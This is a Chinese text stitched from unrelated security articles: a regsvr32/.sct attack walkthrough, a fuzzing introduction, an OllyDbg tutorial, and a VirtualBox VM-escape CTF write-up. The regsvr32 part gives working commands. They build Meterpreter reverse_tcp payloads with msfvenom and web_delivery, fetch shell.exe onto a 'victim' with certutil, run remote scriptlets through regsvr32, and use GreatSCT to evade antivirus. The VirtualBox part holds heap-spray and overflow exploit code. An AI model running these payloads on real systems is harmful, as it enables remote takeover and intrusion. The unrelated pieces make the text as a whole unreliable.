该方法必须利用一个漏洞才能实现,使用的漏洞会帮助我们创建powershell代码,现在就让我们首先创建powershell吧!

运行此漏洞后,将在终端屏幕上显示powershell代码,如下所示:

use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 2
msf exploit (web_delivery)> set payload windows/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.109
msf exploit (web_delivery)>set srvhost 192.168.1.109
msf exploit (web_delivery)>exploit

由于Regsvr32是一个命令行实用程序,用于注册和注销OLE控件,比如Windows注册表中的dll和ActiveX控件。Regsvr32.exe安装在Windows XP及更高版本的Windows的%systemroot%\ System32文件夹中。

现在我们需要创建一个.sct文件,以便我们的攻击能够运行。为此,我们在网上找到了一个脚本来创建.sct文件。

复制由web_delivery创建的PowerShell代码并将其粘贴到上面的脚本中,其中显示“calc.exe”,最后使用.sct扩展名保存。

然后像之前一样,运行以下命令,在受害者的电脑上用regsvr32.exe执行.sct文件:

regsvr32 / u / n / s /i://192.168.1.109/1.sct scrobj.dll

执行上述命令后,你将通过web_delivery进行会话。我们要访问会话类型“sessions 1”和“info”才能获取有关系统的基本信息。

MsfVenom

现在,我们讲的是使用msfvenom。Msfvenom是Metasploit的命令行实例,用于生成和输出Metasploit中提供的所有各种类型的shellcode。通过这种方法,我们将创建两个.sct文件,一个用于下载我们的恶意软件,另一个用于执行它。首先,让我们输入以下msfvenom命令:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f exe > shell.exe

然后,使用以下命令启动python服务器。

python -m SimpleHTTPServer 80

同时,在前一个方法中使用的同一脚本中,我们是通过注入certutil.exe命令以从远程服务器调用shell.exe文件。因此,使用 “calc .exe”编写以下脚本并使用.sct扩展名再次保存文件:

certutil.exe -urlcache -split -f //192.168.1.109/shell.exe

我们在这里使用了certutil,因为它允许在Windows中下载文件并将文件保存为3.sct。

现在,使用以下命令运行上面的脚本:

regsvr32 / u / n / s /i:http;//192.168.1.109/3.sct scrobj.dll

此时,我们将创建另一个文件来执行我们以前的文件“shell.exe”。为此,再次使用 “calc .exe”编写脚本:

cmd /k cd c:\Users\raj & shell.exe

我们已将脚本保存为4.sct,并使用以下命令再次运行此脚本:

regsvr32 / u / n / s /i:http;//192.168.1.109/4.sct scrobj.dll

同时,启动多处理程序,以获得会话。输入命令如下所示:

use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit

在受害者的电脑中运行该命令后,就将进行一个meterpreter会话。

什么是Meterpreter

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它会非常困难。

另外,Meterpreter还可以简化任务创建多个会话。

Koadic

koadic是DEFCON黑客大会上分享出来的的一个后渗透工具,虽然和其他渗透测试工具,如Meterpreter和Powershell Empire有些相似,但是Koadic主要是通过使用Windows ScriptHost(也称为JScript / VBScript)进行大部分的操作,其核心兼容性支持Windows2000到Window 10的环境中使用,Koadic也试图兼容Python 2和Python 3。

要了解更多关于Koadic的信息,请点此链接阅读。

koadic启动并运行后,输入以下命令:

use stager/js/regsvr
set srvhost 192.168.1.107
run

攻击者与目标设备中Meterpreter的通信是通过Stager套接字实现的meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成。Stager这种载荷负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stagers Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信。

然后,在受害者电脑的命令提示符中输入以下内容。

regsvr32 / u / n / s /i:http;//192.168.1.107:9998/uWBjv scrobj.dll

运行上述命令后,你将拥有一个会话,内容如下:

zombies 0

JSRat

JSRAT是一个由Python编写的脚本,它可以实现对远程PC的shell管理,下载地址请点此。这是一个非常小的命令和控制框架,就像koadic和Powershell Empire一样,不过它仅为rundll32.exe和regsvr32.exe生成恶意任务。 JSRat创建了一个Web服务器后,在该Web服务器上,我们就可以找到.sct文件。输入命令如下:

./JSRat.py -I 192.168.1.107 -p 4444

运行上述命令后,Web服务器就将启动。

在浏览器中打开它,此时,你将找到需要在受害者的PC上运行的.sct文件。

GreatSCT

借助GreatSCT这样一个工具,我们不仅可以使用me tasploit的漏洞利用代码,并且还能对其进行免杀处理,以绕过大多数防病毒程序。目前,GreatSCT是由@_ConsciousHacker.进行维护的,你可以点此下载。 

下载运行后,输入以下命令以访问模块:

下载并运行该软件后,可以通过以下命令来访问各个功能模块:

use Bypass

21.png

然后输入“list” 命令,以获取模块列表。

22.png

然后,从模块列表中选择以下命令:

use regsvr/shellcode_iject/base64_migrate.py
generate

完成上述命令后,输入1选择MSFVenom。

然后它会询问你的有效载荷,此时,你只需按Enter即可将windows/meterpreter/reverse_tcp作为默认有效载荷,而这就是我们需要的载荷。在像这样提供IP之后,我们已经给出了192.168.1.107和给定的端口,此时,我们将lport命名为2345。

在得到详细信息后,它会询问你恶意软件的名称。默认情况下,设置名称都是“payload”,以便你可以给出名称或只按回车键以进行默认设置。

按回车键后,它将生成两个文件。其中一个将是资源文件,另一个是.sct文件。

现在,先通过输入以下命令启动/usr/share/greatsct-output中的python服务器:

python -m SimpleHTTPServer 80

现在,在受害者设备的运行窗口中执行.sct文件,如下所示。

23.png

同时,使用资源文件启动multi / handler。输入命令如下所示:

msfconsole -r /usr/share/greatsct-output/handlers/payload.rc

此时,你可以获得了一个Meterpreter会话。

24.png

总结

使用regsvr32获取会话是一种非常复杂且另辟蹊径的方式,因此,上述方法要使用到不同的工具和软件,以允许我们完成此攻击。

介绍
这篇博文介绍了关于模糊测试的基础知识,以及几种模糊测试工具,并由以下三个部分阐述一些最新的关于fuzzing技术的资讯。

第一部分主要介绍高级模糊测试技术。简要地讨论了使用模糊测试的情景,并进一步解释了开启模糊测试场景以及经典的模糊测试工具的架构。
第二部分主要描述模糊测试入门的过程,并介绍几种通俗易懂,易于理解和使用的模糊测试工具。虽然,通常情况下直接使用现有的fuzzer更为简便,但是由用户自己编写的fuzzer或调整现有的fuzzer可能会产生更好的效果。本文提供的不是一个足够全面完整的列表,而是一系列不同模糊测试技术的示例。
第三部分主要阐述了最近发表的关于模糊测试技术的研究。它将重点关注新型模糊测试技术和经过测试用例已生成技术的公开研究结果。
0 – Fuzzing 101


介绍


本章节将介绍高级模糊测试技术,并简要地讨论了使用模糊测试技术的理由。我将会进一步解释你需要如何开始进行模糊测试以及典型的模糊测试工具的架构。
什么是模糊测试?


Fuzzing或模糊测试是一种自动化的软件测试技术,通常用于识别程序中的潜在漏洞。对程序进行模糊测试是通过向其提供随机输入语句并记录导致程序中的崩溃或非崩溃的内存损坏的测试用例来完成的。在某种意义上,模糊测试就是通过蛮力搜索漏洞。几乎所有需要某种输入的软件都可以进行模糊测试,比如——浏览器,通过查看或编辑文件的应用程序,系统内核,大多数API和其他程序接口,驱动程序,网络守护程序,Web应用程序等等都可以对其进行fuzzing。

fuzzallthethings.jpg


简单的模糊测试不需要任何有关程序的信息,因此,这是一种黑盒测试技术。但是,有一些先进的模糊测试技术可以分析或检测源代码或二进制文件,以便将生成的输入定制到模糊程序,这将是本系列的下一篇博文介绍的内容之一。

为什么选择模糊测试?

Fuzzing 是一种自动发现 bug 的方法; 理想情况下,Fuzzing 可以简单地在机器上运行并且不受干扰。 因为它不需要太多的手动交互,所以它可以是一种廉价的测试技术。另一方面,手工测试非常耗费资源,它揭示的错误数量取决于测试人员的技能。模糊测试和手动测试的结合是最佳的一种做法,因为这两种技术通常会发现不同类型的错误,并且它们可以互补。
应用程序越复杂,就会有越多的 bug,随着复杂性的增加,攻击面也会增加。 对非常复杂的应用程序进行手工测试需要花费大量时间,并且需要良好的测试技能。 例如,如果一个公司决定只手动测试一个浏览器,那么在下一个版本完成之前,就需要很多技能熟练的测试人员来测试整个应用程序。一个fuzzer可以简单的永久运行并且可以在软件发布之前完成测试。 大多数fuzzer的规模相当不错,所以如果需要测试的更快,找到更多的bug,那么你可以只是增加更多的测试机器或更多的CPU内核。也可以使用 Fuzzing 回归测试来确保不会再次引入任何已知的 bug。
作为一个安全研究人员, fuzzing 的确是伟大的,因为一旦一个fuzzer设置好并运行后,你可以解放双手去做其他的事情。
模糊测试的常见问题
虽然 fuzzing 是一个发现bug的伟大且廉价的方法,但它并不总是最佳的选择。这取决于应用程序和期望的缺陷类型,fuzzer 可能需要大量的时间来进行设置才能找到更多的缺陷。特别是那些能够意识到输入结构的可自编写的智能fuzzer的设置将会花费一些工作,直到它产生可用的结果。
一个fuzzer是不能替代其他安全措施的。虽然你有最强大的fuzzer,发现了大量的漏洞,但它不太可能找到一个程序中的每一个漏洞。所以如果你的 fuzzer 没有发现更多的漏洞,这并不意味着你的程序是完全安全的。模糊测试只是对其他安全措施(如定期代码审计和其他安全开发原则)的一个很好的补充。
Fuzzer可以产生许多误报,无法利用的bug以及重复的结果。因此,评审过程是强制性的,无论是手动的还是自动的,这是需要资源的。输入越复杂,评审过程就越复杂。
最大限度地提高Fuzzer的效率是模糊测试最困难的部分之一。一个Fuzzer的价值通常取决于它发现了多少以前未知的bug或漏洞。为了找到更多的 bug,fuzzer 需要有一个高崩溃率的测试用例,这高度依赖于生成的测试用例的质量。通过管道/dev/urandom 到你的目标很容易,但是每个测试用例的崩溃率可能太低,无法在适当的时间窗口中找到任何内容。同时,单个测试用例的执行时间应该尽可能的短。
模糊测试需要什么?
要开始模糊测试,你需要一个接受输入的目标。应用程序越复杂,就越有可能使用fuzzer找到bug。它可以是内部软件,也可以是第三方软件,这取决于你的测试用例。你需要考虑你想要捕捉的bug的类型。一个 fuzzer 需要知道什么时候它发现了一个 bug,所以最容易发现的 bug 是那些导致崩溃的 bug,因为这将表明一个潜在的安全漏洞。
当你清楚你想模糊测试的应用程序和bug类型,那么你有必要思考情况使用什么样的fuzzer。如果你不想从头开始编写模糊测试工具,那么你可以选择许多不同的模糊测试工具。其中一些需要工具一些工作来进行设置,其他的工作则可以迅速完成。因为正确选择模糊测试工具既重要又困难,本系列的下一篇博客文章将介绍一些最重要的 模糊测试工具。
一个fuzzer可以找到什么类型的bug?
理论上,通过模糊测试工具可以找到所有可能的 bug 类型。fuzzer需要一种检测机制来将程序的行为分类为无意的或恶意的。因此,有些 bug 的类比其他 bug 的类在代码中更容易找到,因为它们会产生明显的错误行为。例如,内存损坏bug在触发时导致崩溃是很容易检测到的。另一方面,逻辑错误可能非常难以检测,因为程序没有明显的不正常行为,而且预先定义检测逻辑错误的规则可能比较棘手。
一个典型的fuzzer架构
一个典型的fuzzer由三个不同的部分组成。 一个测试用例生成器生成输入,输入到被测试的程序; 一个worker程序执行给定的输入,并识别意外的行为; 一个日志记录器记录有趣的测试用例以及分析 bug 所需的一切。大多数fuzzer还包括一个服务器或主机,它协调其他三个部分并管理它们之间的通信。

fuzzer-architecture.png

测试用例生成器
测试用例生成器主要负责创建新的测试用例。为了创建新的测试用例,它可以自己识别出输入的结构,这被称为智能fuzzer。相反,不知道输入结构的测试用例生成器被称为愚蠢fuzzer。测试用例可以从头开始生成,也可以从现有的测试用例中变异。复杂的fuzzer也可以将生成和变异结合从而生成测试用例。
模糊测试的导向类型
由测试用例生成器创建的测试用例在质量上有很大的不同。因此,测试用例生成器需要某种指导来决定变更或生成哪些测试用例。最常见的启发式指导是代码覆盖率。理论上,代码覆盖的越多,模糊测试就能发现更多的错误。测试用例生成器可以配置为创建类似于发现新覆盖率测试用例的测试用例。与覆盖率导向的模糊测试类似,基本上所有与发现更多bug相关的指标都可以用作测试用例生成器的指导,例如数据流指导。
愚蠢fuzzer
不需要输入结构模型来生成新测试用例的测试用例生成器称为愚蠢fuzzer。愚蠢fuzzer的优点是它不需要输入结构的信息,因此适合对很多不同的程序进行模糊测试而不需要太多的调整。使用愚蠢fuzzer的最大缺点是,大多数输入需要预定义的结构或包含校验和,fuzzer将很难生成有效的输入,因此主要是测试应用程序的解析代码。
智能fuzzer
与愚蠢fuzzer相反的是一个智能fuzzer,它的测试用例生成器能够理解输入文件的结构。输入文件的结构称为输入模型。例如,输入模型可以是编程语言的语法或数据格式模型。智能fuzzer的优点是它主要创建有效的输入文件,这将导致实际程序中更高的代码覆盖率。然而,一个智能fuzzer通常是高度专业化的特定类型的输入,它需要一个好的输入模型才能够创建测试用例,从而可能触发bug。
基于变异的模糊测试
基于变异的fuzzer是通过变异已知的测试用例来创建新的测试用例。常见的变异技术包括位翻转,即将输入中的随机位进行翻转,或移动、删除、重复输入中的数据块。一个基于变异的fuzzer的主要优点是它需要较少的worker来设置。基于变异的fuzzer的关键部分是选择有趣的测试用例进行变异。这些测试用例需要尽可能不同,使模糊测试达到尽可能多的代码覆盖率,使其更有可能发现bug。例如,如果目标是一个查看和编辑图片的应用程序,并且所选择的测试用例只是 PNG 格式的,那么fuzzer就不太可能覆盖到处理其他文件类型的代码。
基于生成的模糊测试
基于生成的fuzzer会从头开始生成新的测试用例。基于生成的fuzzer需要知道输入文件的结构,否则它们只会生成随机的字节。通常它们需要worker来进行设置,并且专门用于特定的输入类型。 然而,一旦启动并运行之后,它们往往能比基于变异的fuzzer产生更多的代码覆盖率,因此更有可能发现不同的bug。
测试用例最小化
随着时间的推移,由变异创建的测试用例在规模和复杂性上都趋向于增长。这会导致更长的执行时间,并且使得分析有趣的测试用例变得更加困难。较小的测试用例也可以更好地将模糊测试集中在被模糊测试的软件的有趣部分上。因此,fuzzer的测试用例生成引擎也应该能够最小化测试用例。最小化测试用例的目标是找到尽可能小的测试用例,同时触发初始测试用例触发的相同行为。 在这种情况下,相同的行为意味着要么触发相同的崩溃代码,要么满足相同的指导要求。例如,对于覆盖率导向的模糊测试是否意味着在最小化测试用例中命中相同的有趣代码块。这可以通过删除测试用例的某些部分、向目标提供修改后的输入并观察其行为是否仍然满足相同的要求来实现。

*本文作者:kaliking,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

想要进行缓冲区溢出的分析与利用,当然就要懂得程序运行的机制。今天我们就用动态分析神器ollydbg来了解一下在windows下程序是如何运行的。

戳这里看之前发布的文章:

缓冲区溢出实战教程系列(一):第一个缓冲区溢出小程序:https://www.freebuf.com/articles/system/195614.html

缓冲区溢出实战教程系列(二):dev c++编译汇编代码:https://www.freebuf.com/articles/system/197116.html

0×00 OD基本介绍及用法

1. OD界面

我们将程序拖入OD中,会出现如下界面,在这里我分为四个主要区块,分别是汇编代码窗口、寄存器窗口、二进制窗口、堆栈窗口。当然也有分为五个区块的,但没有太大区别。接下来我给大家讲讲有个基本概念。等下在程序分析里给大家具体做讲解。

2. OD常用操作

F2:设置断点

F4与F9:F4是运行到光标位置,F9是运行到断点处

F7与F8:F7是单步步入,F8是单步步进

Ctrl+F9:是从F7步入的代码段中返回之前代码段

0×01 寻找程序入口

1. 程序介绍

今天拿MessageBox的代码为例,先贴出代码:

#include<windows.h>
int main()
{
	MessageBox(0,"You have been hacked","warning",0);
	return 0;
}

可以看出这是一个非常简单的弹出提示框的代码,只有5行代码。但麻雀虽小五脏俱全,通过一个小程序我们更容易理解程序的基本运行原理。

2. OD分析程序起点

将程序拖入到OD:

我们会看到程序停在了0x004014E0的位置,但这不是程序真正的入口。通常用OllyDBG打开一个程序之后,并没有直接跳到程序主函数入口地址,而是在进行一些初始化工作。这个我们暂时不用管我们这里只要找到主程序入口就好。

一般用OllyDBG打开程序的时候,并不是直接定位到程序入口,而是还要先进行一系列的初始化工作,但做这些工作的反汇编代码我们是不需要的,所以我们要快速跳 过,直接到程序入口。

3. 程序真正入口点

找程序入口呢一个是凭经验一路F8,还有一个就是借助工具,今天跟大家说一下利用IDA找程序入口。

在IDA中打开程序,在左侧栏中找到_main,点击右侧代码栏第一行,看底下的地址就好了。我们记住入口地址就好。

main函数地址是0×00401500。

我们回到OD,右键goto-expression跳转到main函数所在位置。

我们按F2在这设个断点,接下来我们要用到。

0×03 主函数运行过程

我们在0×401500处下好断点,按F9运行到断点处。当我们看见地址的字成红色背景变为黑色时,就说明程序已经运行到我们的断点处了。

找到主函数我们今天的任务就完成一半了,我们先分析一下主函数运行的过程,其实主函数运行过程也是压栈弹栈的过程,只是这个过程与我们直接调用MassageBox的堆栈调用略有不同,为了方便理解先看一下下面的小知识点。

栈顶(esp):栈的低址,就是栈空间地址小的一端

栈顶(ebp):栈的高址,就是栈空间地址较大的一端

栈空间的增长:由高地址向低地址增长(ebp—>esp)

好让我们继续,先F8运行到0x40150B。

这时我们要观察一下现在栈顶和栈底的情况这时候esp栈顶是0x28FEB8,ebp栈底是0x28FF88。

继续F8两次,这里就出现了与调用函数不同的地方,这里指令SUB ESP,14是让esp直接减14的意思,我们现在的esp是0x28FEB4。

果断打开计算器0x28FEB4-0×14=0x28FEA0,那说明我执行完这个指令过后esp的值就应该是0x28FEA0。

让我们F8验证一下,果然不出所料,目前栈顶的位置就是 0x28FEA0。

记住这里都是16进制的运算所以0×14是10进制的20,而每个地址相差4,也就是栈顶到栈底一下子多了5个地址,但没有赋值,这里也就是跟我们平时说的压栈的方式不一样的地方。一般而言压栈是一个一个从高址向低址入栈。这里我先把它称为开辟栈空间然后赋值吧。

继续F8,不过这时我们要观察开辟出的5个地址值得变化,我们先截图记录一下:

当我们运行过CALL 00401EA0时发现这五个地址的值没有变化。

当我们运行过MOV DWORD PTR SS:[LOCAL.4],0时我们发现0x28FEAC的值变成了0。

接着运行MOV DWORD PTR SS:[LOCAL.5],OFFSET 0×404000 ,这时0x28FEA8的值变成了0×404000。

接着运行 MOV DWORD PTR SS:[LOCAL.6],OFFSET 0×404008,这时0x28FEA4的值变成了0×404008。

接着运行 MOV DWORD PTR SS:[LOCAL.7],0 ,这时我们的esp变成了0。

这些就是主函数中在运行MassageBox之前栈中的变化,只不过这里是利用esp-14的方法先开辟了个空间然后再入栈。

这里再补充一下0×404000和0×404008 是什么,其实在截图里我们已经看到OD已经给出了,它们分别代表warning和You have been hacked。那它们是怎么来的呢?其实我们在程序编译的时候已经把这些变量集中放到了数据段,这涉及到PE结构了,大家目前理解为变量值集中存放的地方。好我们验证一下,在左下角二进制窗口依次右键—>go to—>expression接着在弹出窗口中输入404000,查找,我们看下结果:

我们在看一下warning在线通过工具转换成ASC码的结果,刚好与上图前七个字节对上。

以上说明0×404000和 0×404008这样的地址就类似高级语言里的变量,我们把真正的值赋给变量,然后我们只操作变量就好了。

以上就是今天讲的内容,大家跟着步骤仔细操作一下,要不然后边的就会越听越迷糊。下篇文章就要真正讲到调用MassageBox时栈的变化了,也就是真正栈的知识了,希望大家能够打好基础。

*本文作者:kaliking,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

一、前言

早在2018年10月,我就留意到Niklas Baumstark发表了一篇关于VirtualBox的Chromium组件的文章,随后我就开始对它进行研究。在两周的时间中,我发现并报告了十几个可以轻松实现利用的虚拟机逃逸漏洞。但遗憾的是,其中的大多数都是重复的。

在2018年12月底,3C35 CTF期间,我留意到Niklas发表的一条推文,他宣布VirtualBox的Chromium挑战还没有被任何人解决。这样一来,我就希望专注于这一方面的研究,因为我想成为第一个夺取旗帜的人。

二、挑战内容

我们所面临的挑战,是在64位Xubuntu上尝试针对VirtualBox v5.2.22实现虚拟机逃逸。在挑战的题目中,给出了一个提示,仅仅是API glShaderSource()文档的照片。首先,我认为,我们已经将一个漏洞人为地注入到该函数中,从而应对挑战。然而,在查看了它在Chrome中的实现之后,我意识到我正在面对的是一个真实世界中的漏洞。

三、漏洞分析

下面是src/VBox/HostServices/SharedOpenGL/unpacker/unpack_shaders.c代码中的一部分:

void crUnpackExtendShaderSource(void)
{
    GLint *length = NULL;
    GLuint shader = READ_DATA(8, GLuint);
    GLsizei count = READ_DATA(12, GLsizei);
    GLint hasNonLocalLen = READ_DATA(16, GLsizei);
    GLint *pLocalLength = DATA_POINTER(20, GLint);
    char **ppStrings = NULL;
    GLsizei i, j, jUpTo;
    int pos, pos_check;
 
    if (count >= UINT32_MAX / sizeof(char *) / 4)
    {
        crError("crUnpackExtendShaderSource: count %u is out of range", count);
        return;
    }
 
    pos = 20 + count * sizeof(*pLocalLength);
 
    if (hasNonLocalLen > 0)
    {
        length = DATA_POINTER(pos, GLint);
        pos += count * sizeof(*length);
    }
 
    pos_check = pos;
 
    if (!DATA_POINTER_CHECK(pos_check))
    {
        crError("crUnpackExtendShaderSource: pos %d is out of range", pos_check);
        return;
    }
 
    for (i = 0; i < count; ++i)
    {
        if (pLocalLength[i] <= 0 || pos_check >= INT32_MAX - pLocalLength[i] || !DATA_POINTER_CHECK(pos_check))
        {
            crError("crUnpackExtendShaderSource: pos %d is out of range", pos_check);
            return;
        }
 
        pos_check += pLocalLength[i];
    }
 
    ppStrings = crAlloc(count * sizeof(char*));
    if (!ppStrings) return;
 
    for (i = 0; i < count; ++i)
    {
        ppStrings[i] = DATA_POINTER(pos, char);
        pos += pLocalLength[i];
        if (!length)
        {
            pLocalLength[i] -= 1;
        }
 
        Assert(pLocalLength[i] > 0);
        jUpTo = i == count -1 ? pLocalLength[i] - 1 : pLocalLength[i];
        for (j = 0; j < jUpTo; ++j)
        {
            char *pString = ppStrings[i];
 
            if (pString[j] == '\0')
            {
                Assert(j == jUpTo - 1);
                pString[j] = '\n';
            }
        }
    }
 
//    cr_unpackDispatch.ShaderSource(shader, count, ppStrings, length ? length : pLocalLength);
    cr_unpackDispatch.ShaderSource(shader, 1, (const char**)ppStrings, 0);
 
    crFree(ppStrings);
}

该方法使用宏READ_DATA获取用户数据。实际上,它只是从Guest虚拟机使用HGCM接口发送的消息中读取,该消息存储在堆中。然后,它调整输入,并将其传递给cr_unpackDispatch.ShaderSource()。

在这里,第一个明显的攻击点是crAlloc(count * sizeof(char*))。我们查看count变量是否在某个(正值)范围内。但是,由于它是有符号证书,因此还应该检查是否存在负值的可能。如果我们选择足够大的技术,例如0x80000000,那么由于整数溢出,与sizeof(char*)==8的乘法操作将会得到0,因为这里的所有变量都是32位。理想情况下,这可能导致堆溢出,因为分配的缓冲区太小,而计数过大。然而,这部分代码则不容易受到此类攻击,因为如果count为负值,则根本不会进入到循环中(变量i是有符号的,因此二者之间的比较也是有符号的比较)。

实际的漏洞并不明显。在第一个循环中,pos_check由长度数组递增。在每次循环中,都会验证位置,以确保总长度仍然在边界之内。这段代码的问题在于,pos_check仅在下一次循环中检查是否在边界范围内。这就意味着,数组的最后一个元素从未经过任何检查,并且可以为任意大小。

这一点验证不充分会产生什么样的影响呢?本质上,在嵌套循环中,j表示pStrings的索引,并且其范围是从0到pLocalLength[i]。该循环将每个\0字节转换为\n字节。借助任意长度的问题,我们可以使循环超出范围,并且由于pString指向堆HGCM消息中的数据,所以这一问题实际上可以导致堆溢出。

四、漏洞利用

即使我们不能溢出可以控制的内容,但如果我们对其进行合理的利用,我们仍然可以获得任意代码执行。

为了实现漏洞利用,我们将使用3dpwn,这是一个专门用于攻击3D加速(3D Acceleration)的库。我们将大量使用CRVBOXSVCBUFFER_t对象,这些对象也是我们之前研究的目标。它包含一个唯一ID、一个可控制的大小、一个指向Guest虚拟机可以写入的实际数据的指针,以及一个双向链表的下一个/上一个指针:

typedef struct _CRVBOXSVCBUFFER_t {
    uint32_t uiId;
    uint32_t uiSize;
    void*    pData;
    _CRVBOXSVCBUFFER_t *pNext, *pPrev;
} CRVBOXSVCBUFFER_t;

此外,我们还将使用CRConnection对象,该对象包含各种函数指针,以及指向Guest虚拟机可以读取的缓冲区指针。

如果我们破坏了前一个对象,我们可以获得一个任意的写原语。如果我们破坏了后一个对象,那么我们就可以获得一个任意的读原语和任意代码执行。

4.1 策略

1. 泄漏CRConnection对象的指针。

2. 使用大量CRVBOXSVCBUFFER_t对象喷射(Spray)堆,并保存其ID。

3. 找到一个洞,并执行glShaderSource(),以将我们的恶意信息写入洞中。然后,易受攻击的代码会使其溢出到相邻的对象中,在理想情况下,会进入CRVBOXSVCBUFFER_t。我们试图破坏其ID和大小,以触发第二个堆溢出,我们可以通过它进行控制。

4. 查找ID列表,查看其中一个是否消失。如果有消失的ID,则证明它应该是使用换行符损坏的ID。

5. 用此ID中的换行符,替换所有零字节,以获取损坏的ID。

6. 这一损坏的对象,现在将具有比原始更大的长度。我们使用该对象,溢出到第二个CRVBOXSVCBUFFER_t,并使其指向CRConnection对象。

7. 最后,我们可以控制CRConnection对象的内容。如前所述,我们可以破坏它,以启用任意读取原语和任意代码执行。

8. 找到system()的地址,并使用它覆盖函数指针Free()。

9. 在主机上运行任意命令。

4.2 堆信息泄漏

由于我们的目标是VirtualBox v5.2.22,因此该版本并不存在影响v5.2.20之前版本的CVE-2018-3055漏洞。正如我们在这里所看到的,该漏洞被利用来泄漏CRConnection的地址。所以,为了应对这一挑战,我们是否应该寻找新的信息泄漏漏洞,或者重新设计漏洞利用策略?

令人惊讶的是,即使在v5.2.22版本中,上面的代码仍然能够泄漏我们想要的对象。这怎么可能,难道是没有正确修复吗?经过仔细分析后,我们发现,分配的对象的大小为0x290字节,而连接的偏移量为OFFSET_CONN_CLIENT,也就是0x248。在这里,并没有超出界限。

msg = make_oob_read(OFFSET_CONN_CLIENT)
leak = crmsg(client, msg, 0x290)[16:24]

值得关注的是,这一问题的原因在于未初始化的内存漏洞。也就是说,svcGetBuffer()方法正在请求堆内存来存储来自Guest的消息。但是,它却没有清除缓冲区。因此,任何返回消息缓冲区数据的API都可能被滥用,从而能将有价值的堆信息泄漏给Guest。我推测,Niklas知道这一漏洞,因此我决定使用这一漏洞来完成这一挑战。实际上,在比赛结束后的几周,发布了关于这一漏洞的补丁,并为其分配了CVE-2019-2446的编号。

4.3 堆喷射

我们可以使用alloc_buf()借助CRVBOXSVCBUFFER_t实现堆喷射,如下所示:

bufs = []
for i in range(spray_num):
bufs.append(alloc_buf(self.client, spray_len))

根据经验,我发现可以选择spray_len = 0x30和spray_num = 0x2000,因为它们的缓冲区最终将是连续的,并且pData指向的缓冲区与其他CRVBOXSVCBUFFER_t相邻。

接下来,我们想在分配中创造一个洞,这样我们就可以用恶意的信息占据它。

具体而言,这是通过向主机发送命令SHCRGL_GUEST_FN_WRITE_READ_BUFFERED来实现的,其中hole_pos = spray_num – 0x10:

hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [bufs[hole_pos], "A" * 0x1000, 1337])

我们可以参考src/VBox/HostServices/SharedOpenGL/crserver/crservice.cpp中此命令的实现。

4.4 第一次溢出

现在,我们已经仔细设置了堆,接下来准备分配消息缓冲区并触发溢出,如下所示:

msg = (pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)
        + '\0\0\0' + chr(CR_EXTEND_OPCODE)
        + 'aaaa'
        + pack("<I", CR_SHADERSOURCE_EXTEND_OPCODE)
        + pack("<I", 0)    # shader
        + pack("<I", 1)    # count
        + pack("<I", 0)    # hasNonLocalLen
        + pack("<I", 0x22) # pLocalLength[0]
        )
crmsg(self.client, msg, spray_len)

需要注意的是,我们发送的消息与刚刚释放的消息大小完全相同。由于glibc堆的工作原理,新的消息非常有可能占据与释放消息完全相同的位置。此外,需要注意count = 1,并且只有最后一个长度可以是任意大小。由于只有一个元素,所以显然,第一个元素也正是最后一个元素。

最后,我们使pLocalLength[0] = 0x22。这个值足以破坏ID和大小字段,我们并不想破坏pData。

那么,具体是如何来计算的?

1. 消息的长度为0x30字节

2. pString的偏移量是0x28

3. glibc块的头部(64位)宽0x10字节

4. uild和uiSize都是32位无符号整数

5. 在crUnpackExtendShaderSource()中将pLocalLength[0]减去2

因此,我们需要0x30-0x28 = 8个字节,才能到达消息的末尾,0x10个字节要经过块的头部,还需要8个字节来覆盖uiId和uiSize。为了补偿减法运算,我们还必须再增加2个字节。总体来说,这就相当于0x22字节。

4.5 找到损坏位置

回想一下,size字段是一个32位无符号整数,我们选择的大小是0x30字节。因此,该字段在损坏后将保持为值0x0a0a0a30(其中的3个零字节已经被字节0x0a替换)。

要查找损坏的ID,这一过程稍微复杂一些,需要我们遍历ID列表,以找出它们之中的哪一个消失了。我们通过向每个ID发送SHCRGL_GUEST_FN_WRITE_BUFFER消息来执行此操作,如下所示:

print("[*] Finding corrupted buffer...")
 
found = -1
 
for i in range(spray_num):
    if i != hole_pos:
        try:
            hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [bufs[i], spray_len, 0, ""])
        except IOError:
            print("[+] Found corrupted id: 0x%x" % bufs[i])
            found = bufs[i]
            break
 
if found < 0:
    exit("[-] Error could not find corrupted buffer.")

最后,我们用\n字节手动替换每个\0,以匹配损坏的缓冲区的ID:

id_str = "%08x" % found
new_id = int(id_str.replace("00", "0a"), 16)
print("[+] New id: 0x%x" % new_id)

现在,我们就拥有了进行第二次溢出所需要的一切,我们可以最终控制其内容。我们的最终目标是,覆盖pData字段,并使其指向我们之前泄漏的CRConnection对象。

4.6 第二次溢出

使用new_id和大小0x0a0a0a30,我们现在可以破坏第二个CRVBOXSVCBUFFER_t。与之前的溢出类似,这是有效的,因为这些缓冲区彼此相邻。但是,这次我们使用ID为0x13371337、大小为0x290且指向self.pConn的伪对象来覆盖它。

